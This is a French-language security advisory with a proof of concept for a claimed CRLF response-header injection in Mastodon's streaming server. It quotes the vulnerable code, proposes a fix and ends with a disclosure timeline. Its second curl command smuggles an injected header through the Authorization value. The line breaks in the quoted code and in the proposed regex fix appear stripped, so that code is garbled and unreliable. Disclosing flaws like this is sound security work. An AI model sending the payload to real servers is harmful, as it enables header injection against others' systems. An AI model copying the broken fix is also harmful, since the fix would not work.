
Mastodon Streaming Server Security Vulnerability PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection
| Élément | Détails |
|---|---|
| ID CVE | CVE-2026-XXXXX |
| Produit concerné | Mastodon (Streaming Server) |
| Version concernée | <= 4.5.9 |
| Composant | streaming/index.js, lignes 188-206 |
| Type de vulnérabilité | Injection d'en-tête de réponse HTTP / Injection CRLF |
| CWE | CWE-74 |
| CVSS 3.1 | 6.5 (Moyen) |
| Vecteur d'attaque | Réseau |
| Rapporteur | qitian [email protected] |
Lorsqu'une requête de mise à niveau WebSocket échoue à l'authentification, le serveur de streaming Mastodon (streaming/index.js, lignes 188-206) construit manuellement une réponse HTTP et écrit errorMessage directement dans l'en-tête de réponse X-Error-Message via socket.end() SANS assainir les caractères ou .
Cela permet à un attaquant distant non authentifié d'injecter des en-têtes HTTP arbitraires ou d'effectuer une scission de réponse HTTP (HTTP Response Splitting).
const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
'Connection': 'close',
'Content-Type': 'text/plain',
'Content-Length': 0,
'X-Request-Id': request.id,
'X-Error-Message': errorMessage // NO CRLF sanitization
};
socket.end(
`HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}
` +
`${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('
')}
`
);
curl -i -X GET \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
http://TARGET:4000/api/v1/streaming/user
Attendu : HTTP/1.1 401 Unauthorized, X-Error-Message: Missing access token
curl -i -X GET \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Authorization: Bearer test%0d%0aX-Injected: evil" \
http://TARGET:4000/api/v1/streaming/user
Assainir errorMessage avant de l'écrire dans l'en-tête du socket :
const sanitizedMessage = String(errorMessage || '')
.replace(/
/g, '%0D')
.replace(/
/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection
| Date | Événement |
|---|---|
| 2026-04-22 | Vulnérabilité découverte et PoC créé |
| 2026-04-22 | Rapport CVE soumis à MITRE / VDB |
Avertissement : cette preuve de concept (PoC) est fournie à des fins éducatives et de recherche en sécurité uniquement.